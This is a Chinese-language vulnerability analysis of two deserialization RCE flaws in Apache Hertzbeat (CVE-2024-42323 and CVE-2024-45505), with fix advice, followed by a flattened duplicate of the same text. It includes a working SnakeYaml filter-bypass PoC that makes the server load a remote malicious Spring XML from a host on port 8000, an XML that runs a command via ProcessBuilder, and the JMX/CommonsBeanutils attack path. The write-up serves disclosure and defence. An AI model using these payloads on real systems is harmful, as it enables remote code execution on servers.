Apache Hertzbeat CVE-2024-42323 & CVE-2024-45505 挖掘记录
字数 1336 2025-08-22 12:23:35

Apache Hertzbeat 反序列化漏洞分析 (CVE-2024-42323 & CVE-2024-45505)

漏洞概述

本文档详细分析Apache Hertzbeat中发现的两种反序列化远程代码执行漏洞:

  1. CVE-2024-42323: SnakeYaml反序列化RCE绕过漏洞
  2. CVE-2024-45505: 原生反序列化RCE漏洞

这两个漏洞都是在Hertzbeat项目被贡献到Apache基金会孵化前发现的。

漏洞一:SnakeYaml反序列化RCE绕过 (CVE-2024-42323)

漏洞背景

Hertzbeat使用SnakeYaml库进行YAML解析,存在反序列化漏洞。虽然新版本对传入数据进行了过滤,但过滤机制存在缺陷。

过滤机制分析

系统对传入数据进行了以下关键字过滤:

  • ScriptEngineManager
  • URLClassLoader

这种过滤方式非常容易被绕过,因为攻击者可以使用其他利用链。

利用限制

在目标环境中存在以下限制:

  • JDK版本为11
  • Java环境为JRE
  • 与LDAP相关的利用链难以使用

绕过方法

使用org.springframework.context.support.ClassPathXmlApplicationContext类加载恶意XML文件实现RCE。

PoC

{
  "define": "category: !!org.springframework.context.support.ClassPathXmlApplicationContext [\"http://192.168.5.164:8000/hack.xml\"]"
}

恶意XML示例

<beans xmlns="http://www.springframework.org/schema/beans" 
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>touch</value>
        <value>/tmp/pwned</value>
      </list>
    </constructor-arg>
  </bean>
</beans>

攻击流程

  1. 构造包含恶意YAML的请求
  2. 服务端解析YAML时触发反序列化
  3. 加载远程恶意XML文件
  4. XML中定义的ProcessBuilder执行系统命令

漏洞二:原生反序列化RCE (CVE-2024-45505)

漏洞位置

漏洞位于org.dromara.hertzbeat.collector.collect.jmx.JmxCollectImpl#getConnectSession方法中,用户可控制url参数值。

漏洞分析

  1. 用户控制的url参数传递给JMXConnectorFactory#newJMXConnector
  2. 返回RMIConnector实例
  3. 调用RMIConnectorconnect方法
  4. 最终调用findRMIServer方法
  5. 当url符合特定要求时,进入JDK原生反序列化逻辑
  6. 反序列化url中的base64数据

利用条件

项目中存在CommonsBeanutils依赖,可直接使用相关利用链。

PoC

URL中包含base64编码的CommonsBeanutils1 9.2版本的序列化数据,执行命令为touch /tmp/cccc

漏洞修复建议

对于SnakeYaml反序列化漏洞

  1. 禁用危险的YAML特性
  2. 实现更严格的反序列化类白名单机制

对于原生反序列化漏洞

  1. 禁止JMX连接URL参数完全可控
  2. 添加反序列化类白名单验证
  3. 升级相关依赖库到安全版本

总结

这两个漏洞都涉及Java反序列化安全问题,虽然表现形式不同,但都可能导致远程代码执行。建议开发者:

  1. 避免直接反序列化不可信数据
  2. 实施严格的反序列化类白名单
  3. 定期更新依赖库
  4. 对用户输入进行严格验证和过滤

对于安全研究人员,这些案例展示了:

  1. 过滤机制绕过技巧
  2. 不同反序列化场景下的利用方法
  3. 环境限制下的利用链选择
Apache Hertzbeat 反序列化漏洞分析 (CVE-2024-42323 & CVE-2024-45505) 漏洞概述 本文档详细分析Apache Hertzbeat中发现的两种反序列化远程代码执行漏洞: CVE-2024-42323 : SnakeYaml反序列化RCE绕过漏洞 CVE-2024-45505 : 原生反序列化RCE漏洞 这两个漏洞都是在Hertzbeat项目被贡献到Apache基金会孵化前发现的。 漏洞一:SnakeYaml反序列化RCE绕过 (CVE-2024-42323) 漏洞背景 Hertzbeat使用SnakeYaml库进行YAML解析,存在反序列化漏洞。虽然新版本对传入数据进行了过滤,但过滤机制存在缺陷。 过滤机制分析 系统对传入数据进行了以下关键字过滤: ScriptEngineManager URLClassLoader 这种过滤方式非常容易被绕过,因为攻击者可以使用其他利用链。 利用限制 在目标环境中存在以下限制: JDK版本为11 Java环境为JRE 与LDAP相关的利用链难以使用 绕过方法 使用 org.springframework.context.support.ClassPathXmlApplicationContext 类加载恶意XML文件实现RCE。 PoC 恶意XML示例 攻击流程 构造包含恶意YAML的请求 服务端解析YAML时触发反序列化 加载远程恶意XML文件 XML中定义的ProcessBuilder执行系统命令 漏洞二:原生反序列化RCE (CVE-2024-45505) 漏洞位置 漏洞位于 org.dromara.hertzbeat.collector.collect.jmx.JmxCollectImpl#getConnectSession 方法中,用户可控制url参数值。 漏洞分析 用户控制的url参数传递给 JMXConnectorFactory#newJMXConnector 返回 RMIConnector 实例 调用 RMIConnector 的 connect 方法 最终调用 findRMIServer 方法 当url符合特定要求时,进入JDK原生反序列化逻辑 反序列化url中的base64数据 利用条件 项目中存在CommonsBeanutils依赖,可直接使用相关利用链。 PoC URL中包含base64编码的CommonsBeanutils1 9.2版本的序列化数据,执行命令为 touch /tmp/cccc 。 漏洞修复建议 对于SnakeYaml反序列化漏洞 禁用危险的YAML特性 实现更严格的反序列化类白名单机制 对于原生反序列化漏洞 禁止JMX连接URL参数完全可控 添加反序列化类白名单验证 升级相关依赖库到安全版本 总结 这两个漏洞都涉及Java反序列化安全问题,虽然表现形式不同,但都可能导致远程代码执行。建议开发者: 避免直接反序列化不可信数据 实施严格的反序列化类白名单 定期更新依赖库 对用户输入进行严格验证和过滤 对于安全研究人员,这些案例展示了: 过滤机制绕过技巧 不同反序列化场景下的利用方法 环境限制下的利用链选择